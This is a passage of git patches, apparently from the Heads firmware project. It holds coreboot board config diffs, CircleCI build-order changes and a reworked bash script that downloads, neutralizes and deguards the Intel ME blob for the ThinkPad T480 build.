not set +# CONFIG_VENDOR_ERYING is not set # CONFIG_VENDOR_EXAMPLE is not set # CONFIG_VENDOR_FACEBOOK is not set # CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_FRAMEWORK is not set # CONFIG_VENDOR_GETAC is not set # CONFIG_VENDOR_GIGABYTE is not set # CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HARDKERNEL is not set CONFIG_VENDOR_HP=y # CONFIG_VENDOR_IBASE is not set # CONFIG_VENDOR_IBM is not set # CONFIG_VENDOR_INTEL is not set # CONFIG_VENDOR_INVENTEC is not set # CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LATTEPANDA is not set # CONFIG_VENDOR_LENOVO is not set # CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MITAC_COMPUTING is not set # CONFIG_VENDOR_MSI is not set # CONFIG_VENDOR_OCP is not set # CONFIG_VENDOR_OPENCELLULAR is not set @@ -97,6 +102,7 @@ CONFIG_VENDOR_HP=y # CONFIG_VENDOR_PRODRIVE is not set # CONFIG_VENDOR_PROTECTLI is not set # CONFIG_VENDOR_PURISM is not set +# CONFIG_VENDOR_RAPTOR_CS is not set # CONFIG_VENDOR_RAZER is not set # CONFIG_VENDOR_RODA is not set # CONFIG_VENDOR_SAMSUNG is not set @@ -107,7 +113,9 @@ CONFIG_VENDOR_HP=y # CONFIG_VENDOR_SUPERMICRO is not set # CONFIG_VENDOR_SYSTEM76 is not set # CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_TOPTON is not set # CONFIG_VENDOR_UP is not set +# CONFIG_VENDOR_VIA is not set CONFIG_MAINBOARD_PART_NUMBER="HP Z220 CMT Workstation" CONFIG_MAINBOARD_VERSION="1.0" CONFIG_MAINBOARD_DIR="hp/snb_ivb_desktops" @@ -125,24 +133,30 @@ CONFIG_MAX_CPUS=8 CONFIG_ONBOARD_VGA_IS_PRIMARY=y CONFIG_POST_DEVICE=y CONFIG_POST_IO=y -CONFIG_DEVICETREE="devicetree.cb" -# CONFIG_VBOOT is not set CONFIG_VARIANT_DIR="z220_cmt_workstation" CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set # CONFIG_VGA_BIOS is not set +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Hewlett-Packard" CONFIG_DRAM_RESET_GATE_GPIO=60 +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=64 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +# CONFIG_FATAL_ASSERTS is not set +CONFIG_USBDEBUG_HCD_INDEX=2 CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Hewlett-Packard Z220 CMT Workstation" +# CONFIG_CONSOLE_POST is not set CONFIG_CMOS_DEFAULT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.default" CONFIG_CMOS_LAYOUT_FILE="src/mainboard/$(MAINBOARDDIR)/cmos.layout" -CONFIG_USBDEBUG_HCD_INDEX=2 +CONFIG_MAX_SOCKET=1 CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -# CONFIG_CONSOLE_POST is not set CONFIG_TPM_PIRQ=0x0 -CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xf0000000 -CONFIG_ECAM_MMCONF_BUS_NUMBER=64 -CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" CONFIG_DCACHE_RAM_BASE=0xfefe0000 CONFIG_DCACHE_RAM_SIZE=0x20000 CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 @@ -162,10 +176,13 @@ CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_GIGADEVICE=y CONFIG_SPI_FLASH_STMICRO=y # CONFIG_BOARD_HP_280_G2 is not set -# CONFIG_BOARD_HP_COMPAQ_8200_ELITE_SFF_PC is not set -# CONFIG_BOARD_HP_COMPAQ_ELITE_8300_USDT is not set # CONFIG_BOARD_HP_ELITEBOOK_820_G2 is not set # CONFIG_BOARD_HP_FOLIO_9480M is not set +# CONFIG_BOARD_HP_PRO_3500_SERIES is not set +# CONFIG_BOARD_HP_COMPAQ_8200_ELITE_SFF_PC is not set +# CONFIG_BOARD_HP_COMPAQ_8200_ELITE_USDT is not set +# CONFIG_BOARD_HP_COMPAQ_8300_ELITE_SFF is not set +# CONFIG_BOARD_HP_COMPAQ_ELITE_8300_USDT is not set CONFIG_BOARD_HP_Z220_CMT_WORKSTATION=y # CONFIG_BOARD_HP_Z220_SFF_WORKSTATION is not set # CONFIG_BOARD_HP_2170P is not set @@ -174,13 +191,13 @@ CONFIG_BOARD_HP_Z220_CMT_WORKSTATION=y # CONFIG_BOARD_HP_2760P is not set # CONFIG_BOARD_HP_8460P is not set # CONFIG_BOARD_HP_8470P is not set +# CONFIG_BOARD_HP_8560W is not set # CONFIG_BOARD_HP_8770W is not set # CONFIG_BOARD_HP_FOLIO_9470M is not set # CONFIG_BOARD_HP_PROBOOK_6360B is not set # CONFIG_BOARD_HP_REVOLVE_810_G1 is not set CONFIG_BOARD_HP_SNB_IVB_DESKTOPS_COMMON=y # CONFIG_DEBUG_SMI is not set -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Hewlett-Packard Z220 CMT Workstation" CONFIG_HAVE_IFD_BIN=y CONFIG_PCIEXP_HOTPLUG_BUSES=8 CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 @@ -189,13 +206,14 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="PNP0F13" CONFIG_GFX_GMA_PANEL_1_PORT="eDP" CONFIG_D3COLD_SUPPORT=y -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_L1_SUB_STATE=y -CONFIG_PCIEXP_CLK_PM=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_HEAP_SIZE=0x100000 CONFIG_EC_GPE_SCI=0x50 +CONFIG_EC_STARLABS_BATTERY_MODEL="Unknown" +CONFIG_EC_STARLABS_BATTERY_TYPE="LION" +CONFIG_EC_STARLABS_BATTERY_OEM="Unknown" CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="nohz=off quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -237,7 +255,7 @@ CONFIG_VERSTAGE_ADDR=0x2000000 CONFIG_SMM_TSEG_SIZE=0x800000 CONFIG_SMM_RESERVED_SIZE=0x100000 CONFIG_SMM_MODULE_STACK_SIZE=0x400 -# CONFIG_USE_EXP_X86_64_SUPPORT is not set +# CONFIG_USE_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xf0000000 @@ -257,6 +275,7 @@ CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_DEBUG_STACK_OVERFLOW_BREAKPOINTS=y CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 @@ -280,6 +299,7 @@ CONFIG_UDELAY_TSC=y CONFIG_TSC_MONOTONIC_TIMER=y CONFIG_TSC_SYNC_MFENCE=y CONFIG_HAVE_SMI_HANDLER=y +CONFIG_NEED_SMALL_2MB_PAGE_TABLES=y CONFIG_SMM_TSEG=y CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 CONFIG_AP_STACK_SIZE=0x800 @@ -303,6 +323,11 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # CONFIG_NATIVE_RAMINIT_IGNORE_XMP_REQUESTED_VOLTAGE is not set # CONFIG_RAMINIT_ALWAYS_ALLOW_DLL_OFF is not set CONFIG_RAMINIT_ENABLE_ECC=y +CONFIG_IGD_DEFAULT_UMA_SIZE_32MB=y +# CONFIG_IGD_DEFAULT_UMA_SIZE_64MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_96MB is not set +# CONFIG_IGD_DEFAULT_UMA_SIZE_128MB is not set +CONFIG_IGD_DEFAULT_UMA_INDEX=0 # # Southbridge @@ -359,6 +384,7 @@ CONFIG_HAVE_GBE_BIN=y # CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set # CONFIG_LOCK_MANAGEMENT_ENGINE is not set CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_ACPI_FNKEY_GEN_SCANCODE=0 CONFIG_ARCH_X86=y CONFIG_ARCH_BOOTBLOCK_X86_32=y CONFIG_ARCH_VERSTAGE_X86_32=y @@ -366,7 +392,7 @@ CONFIG_ARCH_ROMSTAGE_X86_32=y CONFIG_ARCH_POSTCAR_X86_32=y CONFIG_ARCH_RAMSTAGE_X86_32=y CONFIG_ARCH_ALL_STAGES_X86_32=y -CONFIG_HAVE_EXP_X86_64_SUPPORT=y +CONFIG_HAVE_X86_64_SUPPORT=y CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y @@ -381,6 +407,10 @@ CONFIG_HAVE_CF9_RESET=y CONFIG_DEBUG_HW_BREAKPOINTS=y CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y # CONFIG_DUMP_SMBIOS_TYPE17 is not set +CONFIG_X86_BOOTBLOCK_EXTRA_PROGRAM_SZ=0 +CONFIG_DEFAULT_EBDA_LOWMEM=0x100000 +CONFIG_DEFAULT_EBDA_SEGMENT=0xF600 +CONFIG_DEFAULT_EBDA_SIZE=0x400 # end of Chipset # @@ -401,7 +431,7 @@ CONFIG_NO_EARLY_GFX_INIT=y CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y -CONFIG_HEAP_SIZE=0x100000 +CONFIG_DEFAULT_SCREEN_ROTATION_INT=0 # end of Display CONFIG_PCI=y @@ -436,6 +466,7 @@ CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 # CONFIG_ELOG is not set CONFIG_CACHE_MRC_SETTINGS=y # CONFIG_MRC_SETTINGS_PROTECT is not set +# CONFIG_DRIVERS_OPTION_CFR is not set # CONFIG_SMMSTORE is not set CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y @@ -506,15 +537,15 @@ CONFIG_VBOOT_LIB=y # # Trusted Platform Module # -# CONFIG_NO_TPM is not set CONFIG_TPM1=y +# CONFIG_TPM2 is not set CONFIG_TPM=y CONFIG_MAINBOARD_HAS_TPM1=y # CONFIG_TPM_DEACTIVATE is not set # CONFIG_DEBUG_TPM is not set -CONFIG_TPM_RDRESP_NEED_DELAY=y CONFIG_TPM_LOG_CB=y # CONFIG_TPM_LOG_TPM1 is not set +# CONFIG_TPM_LOG_TPM2 is not set CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 @@ -604,6 +635,7 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # # CONFIG_PAYLOAD_NONE is not set # CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_FLAT_BINARY is not set # CONFIG_PAYLOAD_BOOTBOOT is not set # CONFIG_PAYLOAD_FILO is not set # CONFIG_PAYLOAD_GRUB2 is not set @@ -614,10 +646,8 @@ CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" # CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" -CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" -# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # @@ -654,7 +684,6 @@ CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # General Debug Settings # # CONFIG_GDB_STUB is not set -# CONFIG_FATAL_ASSERTS is not set # CONFIG_DEBUG_CBFS is not set CONFIG_HAVE_DEBUG_RAM_SETUP=y # CONFIG_DEBUG_RAM_SETUP is not set From e94609799a3711fb1312f555e96fe72d3af71ef0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 13 Feb 2025 11:56:31 -0500 Subject: [PATCH 537/619] coreboot-qemu*: fix XRES and YRES that changed by saving in oldconfig. Signed-off-by: Thierry Laurion --- config/coreboot-qemu-tpm1-prod.config | 4 ++-- config/coreboot-qemu-tpm1.config | 4 ++-- config/coreboot-qemu-tpm2-prod.config | 4 ++-- config/coreboot-qemu-tpm2.config | 4 ++-- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/config/coreboot-qemu-tpm1-prod.config b/config/coreboot-qemu-tpm1-prod.config index 91b2a0142..0742355a1 100644 --- a/config/coreboot-qemu-tpm1-prod.config +++ b/config/coreboot-qemu-tpm1-prod.config @@ -394,8 +394,8 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y -CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 -CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 +CONFIG_DRIVERS_EMULATION_QEMU_XRES=1024 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=768 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set diff --git a/config/coreboot-qemu-tpm1.config b/config/coreboot-qemu-tpm1.config index a9058fa7f..695e4eb4e 100644 --- a/config/coreboot-qemu-tpm1.config +++ b/config/coreboot-qemu-tpm1.config @@ -394,8 +394,8 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y -CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 -CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 +CONFIG_DRIVERS_EMULATION_QEMU_XRES=1024 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=768 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set diff --git a/config/coreboot-qemu-tpm2-prod.config b/config/coreboot-qemu-tpm2-prod.config index 788f45d62..c4b06ec5e 100644 --- a/config/coreboot-qemu-tpm2-prod.config +++ b/config/coreboot-qemu-tpm2-prod.config @@ -388,8 +388,8 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y -CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 -CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 +CONFIG_DRIVERS_EMULATION_QEMU_XRES=1024 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=768 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set diff --git a/config/coreboot-qemu-tpm2.config b/config/coreboot-qemu-tpm2.config index 503c7bfe9..bb42ba01a 100644 --- a/config/coreboot-qemu-tpm2.config +++ b/config/coreboot-qemu-tpm2.config @@ -388,8 +388,8 @@ CONFIG_HAVE_USBDEBUG_OPTIONS=y # CONFIG_VPD is not set CONFIG_DRIVERS_EMULATION_QEMU_BOCHS=y CONFIG_DRIVERS_EMULATION_QEMU_CIRRUS=y -CONFIG_DRIVERS_EMULATION_QEMU_XRES=800 -CONFIG_DRIVERS_EMULATION_QEMU_YRES=600 +CONFIG_DRIVERS_EMULATION_QEMU_XRES=1024 +CONFIG_DRIVERS_EMULATION_QEMU_YRES=768 # CONFIG_DRIVERS_GENERIC_CBFS_SERIAL is not set # CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set # CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set From 5b950c4614fba7e85dfcd74814f66a46b4f7ba71 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 17 Feb 2025 15:13:03 -0500 Subject: [PATCH 538/619] CircleCI: refactor 24.02.01 coreboot buildstack cache reusal ordering and 24.12 buildstack reusal Goal is to see which boards fail to build seperately with 24.12 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 85 +++++++++++++++++--------------------------- 1 file changed, 32 insertions(+), 53 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 65ee9bf9e..7f7f637f4 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -230,10 +230,10 @@ workflows: # Below, sequentially build one board for each coreboot version. # The last board in the sequence is the dependency for the parallel boards built at the end, and also save_cache. - # coreboot 24.02.01 + # coreboot 24.02.01, base layer cache to be built and reused by all 24.02.01 boards - build_and_persist: - name: x230-hotp-maximized - target: x230-hotp-maximized + name: novacustom-nv4x_adl + target: novacustom-nv4x_adl subcommand: "" requires: - x86-musl-cross-make @@ -244,7 +244,7 @@ workflows: target: librem_14 subcommand: "" requires: - - x230-hotp-maximized + - novacustom-nv4x_adl # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - build_and_persist: @@ -254,18 +254,6 @@ workflows: requires: - x86-musl-cross-make - # coreboot nitropad - # Nitropads depending on x230-hotp-maximized cache since kernel is 6.x and coreboot is git is unshared - # We use nitropad's coreboot's fork crossgcc - # No need to wait further for other board's cache - # We reuse built modules from x230-hotp-maximized cache only - - build_and_persist: - name: novacustom-nv4x_adl - target: novacustom-nv4x_adl - subcommand: "" - requires: - - x230-hotp-maximized - # coreboot talos_2 - build_and_persist: name: UNTESTED_talos-2 @@ -288,58 +276,58 @@ workflows: - save_cache: requires: - UNTESTED_talos-2 - - librem_14 + - t480-hotp-maximized # Those onboarding new boards should add their entries below. - # coreboot 24.02.01 boards + # coreboot 24.12 boards - build: name: x220-hotp-maximized target: x220-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x220-maximized target: x220-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t420-hotp-maximized target: t420-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t420-maximized target: t420-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-hotp-maximized_usb-kb target: x230-hotp-maximized_usb-kb subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t430-hotp-maximized target: t430-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-maximized target: x230-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized #TODO: move away of 24.02.01 coreboot and depend on optiplex specific dasharo commit - build: @@ -347,127 +335,126 @@ workflows: target: optiplex-7010_9010-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: optiplex-7010_9010-hotp-maximized target: optiplex-7010_9010-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: optiplex-7010_9010_TXT-maximized target: optiplex-7010_9010_TXT-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: optiplex-7010_9010_TXT-hotp-maximized target: optiplex-7010_9010_TXT-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-maximized-fhd_edp target: x230-maximized-fhd_edp subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: x230-hotp-maximized-fhd_edp target: x230-hotp-maximized-fhd_edp subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: w530-hotp-maximized target: w530-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t430-maximized target: t430-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: w530-maximized target: w530-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t530-maximized target: t530-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: t530-hotp-maximized target: t530-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized - + - t480-hotp-maximized - build: name: UNTESTED_t440p-maximized target: UNTESTED_t440p-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: UNTESTED_t440p-hotp-maximized target: UNTESTED_t440p-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: UNTESTED_w541-maximized target: UNTESTED_w541-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: UNTESTED_w541-hotp-maximized target: UNTESTED_w541-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: qemu-coreboot-fbwhiptail-tpm2-hotp target: qemu-coreboot-fbwhiptail-tpm2-hotp subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: z220-cmt-maximized target: z220-cmt-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized - build: name: z220-cmt-hotp-maximized target: z220-cmt-hotp-maximized subcommand: "" requires: - - x230-hotp-maximized + - t480-hotp-maximized # coreboot purism # librem boards @@ -520,14 +507,6 @@ workflows: requires: - librem_14 - # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache - - build: - name: t480-maximized - target: t480-maximized - subcommand: "" - requires: - - t480-hotp-maximized - # dasharo release, share 24.02.01 utils/crossgcc - build: name: UNTESTED_nitropad-ns50 @@ -541,5 +520,5 @@ workflows: target: novacustom-v560tu subcommand: "" requires: - - x230-hotp-maximized + - novacustom-nv4x_adl From aadbe93dea14e9874b92adba3e4c76c52a2df047 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 21 Feb 2025 12:48:14 +0100 Subject: [PATCH 539/619] move me_cleaner.py to a common utils dir under blobs/ so that it can be used by any board Signed-off-by: gaspar-ilom --- .circleci/config.yml | 4 ++-- blobs/{xx30 => utils/me_cleaner}/me_cleaner.py | 0 2 files changed, 2 insertions(+), 2 deletions(-) rename blobs/{xx30 => utils/me_cleaner}/me_cleaner.py (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 65ee9bf9e..98cfce176 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -93,10 +93,10 @@ jobs: command: | ./blobs/xx30/optiplex_7010_9010.sh ./blobs/xx30 - run: - # me_cleaner.py present under heads xx30 blobs dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py + # me_cleaner.py present under heads blobs/utils/me_cleaner dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) command: | - ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/xx30/me_cleaner.py) + ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) - run: name: Download and extract t530 vbios roms for dgpu boards command: | diff --git a/blobs/xx30/me_cleaner.py b/blobs/utils/me_cleaner/me_cleaner.py similarity index 100% rename from blobs/xx30/me_cleaner.py rename to blobs/utils/me_cleaner/me_cleaner.py From 1e0258b7f11e120f57ee450f1a41ada0b2756c32 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 21 Feb 2025 14:04:53 +0100 Subject: [PATCH 540/619] use common me_cleaner.py for T480 make circleci create the cleaned and deguarded me blob for the T480 to improve performance by allowing to reuse the workspace Signed-off-by: gaspar-ilom --- .circleci/config.yml | 6 +- blobs/xx80/download_clean_deguard_me.sh | 82 +++++++++++++++++-------- 2 files changed, 60 insertions(+), 28 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 98cfce176..ad1bb569d 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -92,11 +92,15 @@ jobs: name: Download Optiplex 7010/9010 blobs command: | ./blobs/xx30/optiplex_7010_9010.sh ./blobs/xx30 + # me_cleaner.py present under heads blobs/utils/me_cleaner dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py - run: - # me_cleaner.py present under heads blobs/utils/me_cleaner dir comes from https://github.com/corna/me_cleaner/blob/43612a630c79f3bc6f2653bfe90dfe0b7b137e08/me_cleaner.py name: Download and neuter xx30 ME (keep generated GBE and extracted IFD in tree) command: | ./blobs/xx30/download_clean_me_manually.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) + - run: + name: Download, neuter and deguard xx80 ME (keep generated GBE and extracted IFD in tree) + command: | + ./blobs/xx80/download_clean_deguard_me.sh -m $(readlink -f ./blobs/utils/me_cleaner/me_cleaner.py) ./blobs/xx80/ - run: name: Download and extract t530 vbios roms for dgpu boards command: | diff --git a/blobs/xx80/download_clean_deguard_me.sh b/blobs/xx80/download_clean_deguard_me.sh index 6d391f9cc..e9f7011bc 100755 --- a/blobs/xx80/download_clean_deguard_me.sh +++ b/blobs/xx80/download_clean_deguard_me.sh @@ -14,7 +14,7 @@ DEGUARDED_ME_BIN_HASH="1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f8640 function usage() { echo -n \ - "Usage: $(basename "$0") path_to_output_directory + "Usage: $(basename "$0") -m (optional) path_to_output_directory Download Intel ME firmware from Dell, neutralize and shrink keeping the MFS. " } @@ -43,7 +43,8 @@ function chk_exists() { } function download_and_clean() { - me_output="$(realpath "${1}")" + me_cleaner="$(realpath "${1}")" + me_output="$(realpath "${2}")" # Download and unpack the Dell installer into a temporary directory and # extract the deguardable Intel ME blob. @@ -63,21 +64,16 @@ function download_and_clean() { extracted_me_filename="1 Inspiron_5468_1.3.0 -- 3 Intel Management Engine (Non-VPro) Update v${ME_version}.bin" - mv "${me_installer_filename}_extracted/Firmware/${extracted_me_filename}" "${COREBOOT_DIR}/util/me_cleaner" - rm -rf ./* - popd || exit - # Neutralize and shrink Intel ME. Note that this doesn't include # --soft-disable to set the "ME Disable" or "ME Disable B" (e.g., # High Assurance Program) bits, as they are defined within the Flash # Descriptor. # However, the HAP bit must be enabled to make the deguarded ME work. We only clean the ME in this function. # https://github.com/corna/me_cleaner/wiki/External-flashing#neutralize-and-shrink-intel-me-useful-only-for-coreboot - pushd "${COREBOOT_DIR}/util/me_cleaner" || exit # MFS is needed for deguard so we whitelist it here and also do not relocate the FTPR partition - python me_cleaner.py --whitelist MFS -t -O "$me_output" "$extracted_me_filename" - rm -f "$extracted_me_filename" + python "$me_cleaner" --whitelist MFS -t -O "$me_output" "${me_installer_filename}_extracted/Firmware/${extracted_me_filename}" + rm -rf ./* popd || exit } @@ -106,27 +102,59 @@ function deguard() { popd || exit } -if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then - if [[ "${1:-}" == "--help" ]]; then - usage - else - - output_dir="$(realpath "${1:-./}")" - me_cleaned="${output_dir}/me_cleaned.bin" - me_deguarded="${output_dir}/me.bin" - chk_exists +function usage_err() { + echo "$1" + usage + exit 1 +} +function parse_params() { + while getopts ":m:" opt; do + case $opt in + m) + if [[ -x "$OPTARG" ]]; then + me_cleaner="$OPTARG" + fi + ;; + ?) + usage_err "Invalid Option: -$OPTARG" + ;; + esac + done + + if [[ -z "${me_cleaner}" ]]; then if [[ -z "${COREBOOT_DIR}" ]]; then - echo "ERROR: No COREBOOT_DIR variable defined." - exit 1 + usage_err "ERROR: me_cleaner.py not found. Set path with -m parameter or define the COREBOOT_DIR variable." + else + me_cleaner="${COREBOOT_DIR}/util/me_cleaner/me_cleaner.py" fi + fi + echo "Using me_cleaner from ${me_cleaner}" - if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then - download_and_clean "$me_cleaned" - deguard "$me_cleaned" "$me_deguarded" - rm -f "$me_cleaned" - fi + shift $(($OPTIND - 1)) + output_dir="$(realpath "${1:-./}")" + if [[ ! -d "${output_dir}" ]]; then + usage_err "No valid output dir found" + fi + me_cleaned="${output_dir}/me_cleaned.bin" + me_deguarded="${output_dir}/me.bin" + echo "Writing cleaned and deguarded ME to ${me_deguarded}" +} + +if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then + if [[ "${1:-}" == "--help" ]]; then + usage + exit 0 + fi - chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" + parse_params "$@" + 